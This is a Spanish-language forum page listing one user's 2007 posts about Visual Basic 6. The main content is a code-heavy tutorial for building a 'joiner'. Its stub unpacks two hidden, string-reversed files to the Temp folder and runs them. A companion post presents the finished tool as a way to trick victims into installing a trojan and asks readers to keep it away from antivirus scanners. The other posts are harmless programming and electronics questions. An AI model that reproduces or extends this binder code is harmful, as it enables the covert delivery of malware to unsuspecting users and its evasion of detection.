elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7 8
41  Programación / Programación Visual Basic / Iconos y Visual Basic..!! en: 5 Septiembre 2007, 22:31 pm
Hola.

Tengo una duda. Quisiera saber que formato de iconos acepta vb... Porque nunca logro saber cual es el verdadero...

Gracias.!
42  Programación / Programación Visual Basic / [Tutorial]Programando un Joiner simple desde 0. en: 31 Agosto 2007, 22:57 pm
Hola.

Este tutorial tiene como objetivo enseñar a hacer su porpio Joiner. Lo hice basandome en la primera version de mi Fire Joiner y bueno vamos a ver que les parece.

En este tutorial NO se enseñara a crear un Joiner con miles de utilidades tan solo tendra las de unir 2 archivos con cualquier extension.

Comenzemos:

En primer lugar les explicare basicamente como trabaja un Joiner:

Exe

1- Lee la dll o Stub
2- Lee los archivos a unir
3- Los separa por Firmas
4- Los guarda en un archivo final

Stub o Dll

1- Se lee a si mismo
2- Se divide a si mismo con la funcion Split con determinada firma
3- Guarda los 2 archivos en otro lugar
4- Los ejecuta con la api ShellExecuteA

Como ven es muy simple pero desde este momento les advierto que tienen que tener conocimientos sobre VB 6.0.


Explicare linea por linea el codigo del Ejecutable o Exe:

Código
  1. Open App.Path & "/nombre.dll" For Binary Access Read As #1
  2. Dll = Input(LOF(1), #1)
  3. Close #1
  4.  

- Abre la Dll
- La lee completa
- La cierra

Código
  1. Open text1.text For Binary Access Read As #1
  2. FI1 = Input(LOF(1), #1)
  3. Close #1
  4.  

- Abre el primer archivo a unir
- Lo lee completo y lo guarda en la variable FI1
- Lo cierra

Código
  1. Open text2.text For Binary Access Read As #1
  2. FI2 = Input(LOF(1), #1)
  3. Close #1
  4.  

- Abre el segundo archivo a unir
- Lo lee completo y lo guarda en la variable FI2
- Lo cierra

Código
  1. FI1c = StrReverse(FI1)
  2. FI2c = StrReverse(FI2)
  3. FI1d = Trim(FI1c)
  4. FI2d = Trim(FI2c)
  5. Ext1 = Ext(Text1.Text)
  6. Ext2 = Ext(Text2.Text)
  7. Name1 = Nam(Text1.Text)
  8. Name2 = Nam(Text2.Text)
  9.  
- cifra el primer archivo con la funcion StrReverse
- cifra el segundo archivo con la funcion StrReverse
- Le quita los espacios que sobran a los lados
- Le quita los espacios que sobran a los lados
- Saca la extension del primer archivo con la funcion Ext
- Saca la extension del segundo archivo con la funcion Ext
- Saca el nombre de el primer archivo con la funcion Nam
- Saca el nombre de el segundo archivo con la funcion Nam

Código
  1. Open "Tetx3.Text" For Output Access Write As #1
  2. Print #1, Dll & "Firma" & FI1d & "Firma" & FI2d & "Firma" & Ext1 & "Firma" & Ext2 & "Firma" & Name1 & "Firma" & Name2 & "Firma"
  3. Close #1
  4.  
- Abre el Archivo final
- Imprime todos los datos separados por firmas
- Cierra



Explicare linea por linea el codigo del Stub o Dll:

Código
  1. Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  2.  
- Declara la Api ShellExecuteA

Código
  1. Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
  2. Yo = Input(LOF(1), #1)
  3. Close #1
  4.  

- Se abre a si mismo
- Se lee a si mismo
- Se cierra

Código
  1. Yo2 = Split(Yo, "Firma")
  2. FI1 = StrReverse(Yo2(1))
  3. FI2 = StrReverse(Yo2(2))
  4. Xten1 = Yo2(3)
  5. Xten2 = Yo2(4)
  6. Nam1 = Yo2(5)
  7. Nam2 = Yo2(6)
  8.  

- Divide el archivo con la funcion Split usando las Firmas
- descifra el primer archivo y lo guarda en la variable FI1
- descifra el segundo archivo y lo guarda en la variable FI2
- Saca la Extension del primer archivo y la guarda en la variable Xten1
- Saca la Extension del segundo archivo y la guarda en la variable Xten2
- Saca el Nombre del primer archivo y la guarda en la variable Nam1
- Saca el Nombre del segundo archivo y la guarda en la variable Nam2

Código
  1. Open Environ("Temp") & "\" & Nam1 & "." & Xten1 For Output Access Write As #1
  2. Print #1, , FI1
  3. Close #1
  4. Open Environ("Temp") & "\" & Nam2 & "." & Xten2 For Output Access Write As #1
  5. Print #1, , FI2
  6. Close #1
  7.  

- Crea el primer archivo "Joineado"
- Imprime el primer archivo
- Cierra
- Crea el segundo archivo "Joineado"
- Imprime el segundo archivo
- Cierra

Código
  1. ShellExecuteA Me.hWnd, "Open", Environ("Temp") & "\" & Nam1 & "." & Xten1, vbNullString, vbNullString, 1
  2. ShellExecuteA Me.hWnd, "Open", Environ("Temp") & "\" & Nam2 & "." & Xten2, vbNullString, vbNullString, 1
  3.  

- Ejecuta el primer archivo
- Ejecuta el segundo archivo



Bueno y eso es todo..

Solo queda arreglar un poquito el code. Que por cierto no se los hare tambien. :xD

Y tendran su Joiner Listo.

Sin presumir mucho les digo que con este Tutorial, cualquiera con conocimientos minimos o medios de Visual Basic 6 puede crear su propio Joiner. Asi que aprovechenlo, que esta muy bueno. Claro tiene sus fallas y eso se va a ir mejorando.

Nota: Si lo van a pegar a otra parte por favor coloquen la fuente o el autor:

Freeze
foro.elhacker.net o http://freeze-web.com

Salu2..!! ;) ;) ;)


Editado 1/09/07 12:55 p.m.

Como todos los tutoriales tienen sus fallas y aqui algunas que nadie ha visto:

En alguna parte del Tutorial para sacar el Nombre de el Programa y la Extension de un archivo se utilizan 2 Funciones que son Nam y Ext, esas no estan prestablecidas tienen que agregarlas al codigo:

Ext:
Código
  1. Public Function Ext(ruta As String)
  2. FullName = Mid$(ruta, InStrRev(ruta, "\") + 1)
  3. Ext = Mid$(FullName, InStrRev(FullName, ".") + 1)
  4. End Function
  5.  

Ext:
Código
  1. Public Function Nam(ruta As String)
  2. FullName = Mid$(ruta, InStrRev(ruta, "\") + 1)
  3. Nam = Mid$(FullName, 1, InStrRev(FullName, ".") - 1)
  4. End Function
  5.  


Y ahora para que esten mucho mas claros en lo que estan haciendo les explicare algunas de las funciones que se utilizan:

Open:
Le dice al Visual Basic a que archivo debe acceder.

Input:
Funciona junto con Open e indica si quiere abrir el archivo.

LOF:
Lenght Of File. Significa Tamaño del Archivo. Sirve para sacar la longitud del archivo.

StrReverse:
Devuelve la cadena invertida.

Trim:
Devuelve una cadena sin espacios a los lados.

Split:
Sirve para delimitar y dividir en arrays una cadena.

Environ:
Devuelve una cadena la cual esta asociada con una variable del Sistema Operativo.
43  Programación / Programación Visual Basic / Fire Joiner 1.0 en: 31 Agosto 2007, 22:16 pm
Hola.

Les presento mi ultimo proyecto:

Fire Joiner

Este joiner permite unir 2 archivos en un ejecutable. Asi podras engañar a tus victimas para infectarlas con un troyano.

Pantalla Principal

Caracteristicas

1-Permite unir 2 archivos
2-StrReverse Encription
3-Permite Cambiar el Nombre con el cual sera ejecutado
4-Manejo Facil
5-Interfaz "Buena"

Proximamente

1-Cambiar el icono al ejecutable final
2-Otro metodo de encriptacion



Nota: Se les agradece no mandarlo a webs de antivirus, tales como virustotal

Espero que si encuentran Bug's me los hagan saber en este mismo post.

Gracias... A todos.

Link de Descarga: AQUI

Arreglado..
44  Programación / Programación Visual Basic / Ayuda Joiner..!! en: 25 Agosto 2007, 00:42 am
Hola, Queria saber si estoy bien informado :xD

A lo mejor sera por eso que no termino mi Joiner  :rolleyes: :rolleyes: :-\ :P :(

Tengo el Programa "Joiner"

Código
  1. Private Sub Form_Load()
  2. Dim Tam As String
  3. Dim Tam2 As String
  4. Dim Dll As String
  5. Dim Firma As String
  6. Dim Firma2 As String
  7. Dim xten As String * 3
  8. Dim xten2 As String * 3
  9. Dim Dll_c As String
  10. Firma = "Freeze"
  11. Firma2 = "Freeze2"
  12. Dll = App.Path & "freeze.dll"
  13. Cd.ShowOpen
  14. Open Cd.FileName For Binary As #1
  15. Tam = Space(LOF(1))
  16. Get #1, , Tam
  17. Close #1
  18. xten = Right(Cd.FileName, 3)
  19. Cd.ShowOpen
  20. Open Cd.FileName For Binary As #1
  21. Tam2 = Space(LOF(1))
  22. Get #1, , Tam2
  23. Close #1
  24. xten2 = Right(Cd.FileName, 3)
  25. Open Dll For Binary As #1
  26. Dll_c = Space(LOF(1))
  27. Get #1, , Dll_c
  28. Close #1
  29.  
  30. Cd.ShowSave
  31. Open Cd.FileName For Binary Access Write As #1
  32. Put #1, , Dll_c & Firma
  33. Put #1, , Tam & Firma
  34. Put #1, , Tam2 & Firma2
  35. Put #1, , xten & Firma2
  36. Put #1, , xten2
  37. End
  38. End Sub

Ese lo hize yo, queria saber si estaba bien..!! :-)

Y el Stub nunca termino de hacerlo, lo borro y  lo comienzo pero nunca lo termino.
45  Programación / Programación Visual Basic / Duda y Problema con Archivos!! en: 15 Agosto 2007, 00:20 am
Hola esto es algo que nunca he entendido. y que creo que no podre explicar muy bien.. pero ahi voy a ver que tal :xD :

He visto programas que encryptan... y yo quisiera hacer el mio :P :P :P...

Pero lo que no entiendo es como modificar un exe desde vb para que se ejecuta a si mismo, para que mate procesos en fin para que tenga ciertas funciones...

Porque si abro un archivo.exe y coloco esto:

Código
  1. Private sub Form_Load()
  2. MsgBox "hola"
  3. End Sub
  4.  

Obviamente no lo va a ejecutar...

Tambien seria otra pregunta como se "traduce" (por decirlo de alguna manera) de VB a Exe o ejecutable (el llamado proceso de compilar)....

Salu2..!!
46  Programación / Programación Visual Basic / Uso de la funcion Environ en: 14 Agosto 2007, 23:54 pm
Hola hoy les enseñare a usar la funcion Environ

Por decirlo de alguna manera esta funcion nos facilitara algunas rutas o informaciones  mas comunes...

Código
  1. Private sub Form_Load
  2. MsgBox Environ("tmp")
  3. End sub
  4.  

Para usar esta funcion colocamos entre comillas algun texto preestablecido, no se como mas llamarle pero es algo asi...

Esa cadena de caracteres (tmp) nos devolvera la ruta de los Archivos Temporales:

C:\DOCUME~1\Eduardo\CONFIG~1\Temp

Eso en mi caso...

Y En WINDOWS obviamente :xD :xD

Aqui otras rutas o informaciones que podremos obtener con esta funcion:

ALLUSERSPROFILE:
C:\Documents and Settings\All Users

APPDATA:
C:\Documents and Settings\Eduardo\Datos de programa

CLIENTNAME:
Console

CommonProgramFiles:
C:\Archivos de programa\Archivos comunes

COMPUTERNAME:
COMPUTADOR

ComSpec:
C:\WINDOWS\system32\cmd.exe

FP_NO_HOST_CHECK:
NO

HOMEDRIVE:
C:

HOMEPATH:
\Documents and Settings\Eduardo

LOGONSERVER:
\\COMPUTADOR

NUMBER_OF_PROCESSORS:
1

OS:
Windows_NT

Path:
C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32
\Wbem;C:\Archivos de programa\Archivos comunes\Adobe\AGL;

PATHEXT:
.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE:
x86

PROCESSOR_IDENTIFIER:
x86 Family 15 Model 4 Stepping 9, GenuineIntel

PROCESSOR_LEVEL:
15

PROCESSOR_REVISION:
0409

ProgramFiles:
C:\Archivos de programa

PROMPT:
$P$G

SESSIONNAME:
Console

SystemDrive:
C:

SystemRoot:
C:\WINDOWS

TEMP:
C:\DOCUME~1\Eduardo\CONFIG~1\Temp

TMP:
C:\DOCUME~1\Eduardo\CONFIG~1\Temp

tvdumpflags:
8

USERDOMAIN:
COMPUTADOR

USERNAME:
Eduardo

USERPROFILE:
C:\Documents and Settings\Eduardo

windir:
C:\WINDOWS

WLNumDLLsProt:
0

Y eso es todo....

NOTAS:

-Siempre encerrar entre comillas
-No siempre encerrar entre parentesis
-Todos esos ejemplos son en mi caso, no se asusten si les sale diferente

Salu2.!!! :rolleyes: :rolleyes: :rolleyes: :rolleyes: ::) ::) :D :D :o :) :P :xD :xD :¬¬ ;)
47  Programación / Programación Visual Basic / [Source]Get Video en: 12 Agosto 2007, 20:06 pm
Hola hoy les traigo un nuevo programa con su source para descargar videos de Youtube... Se que ya estan cansados de ver ese tipo de programas pero yo queria aportar el  mio:

Get Video

¿Porque Get Video?

Es un archivo necesario para poder descargar todos los videos...

Descripción:

Este programa puede descargar cualquier video de youtube solo colocando el link. Cuenta con unos Botones y Barra de Progreso tipo Mac y se le agregaran las siguientes cosas:

-Conversor de Video (Gracias Red y Active)
-Reproductor de Video

Pueden darme alguna sugerencia...

Get Video:


Nuevo Link:
http://rapidshare.com/files/48607265/Get_Video_Completo.rar.html

Contraseña:
http://freeze-web.iespana.es

Salu2..!!
48  Programación / Programación Visual Basic / [Ayuda]Source para convertir video en: 11 Agosto 2007, 21:24 pm
Hola quisiera saber si existe algun codigo en vb para convertir videos...
a ver si me lo pueden pasar Por favor.. :rolleyes: :rolleyes: :rolleyes:...

Salu2..!! :-[ :-[ ;) ;)
49  Informática / Electrónica / Novato Indeciso!! en: 9 Agosto 2007, 01:34 am
Hola ayer mi mamá saco unos cuantos cables, una bovina o motorsito pequeño :xD :¬¬, varias barritas planas de metal y 2 pilas q me encontre...

Y me di cuenta de que me gustaba mucho esto de la electronica, los cables, la electridad y queria saber si esta es la sección o no...

Me explico quiero saber como  se programan los electrodomesticos..
Si se hace en computadora...
Como se pasan a una maquina

en fin muchas dudas...

Graciass :¬¬ ;) ;) ;)
50  Foros Generales / Sugerencias y dudas sobre el Foro / No puedo escribir en: 9 Agosto 2007, 00:05 am
No puedo escribir en el foro

Tutoriales- Documentacion

Y necesito meter algo rapido,,1!! :rolleyes: :rolleyes:
Por favor solucionenlo si pueden gracias,.,.
Páginas: 1 2 3 4 [5] 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines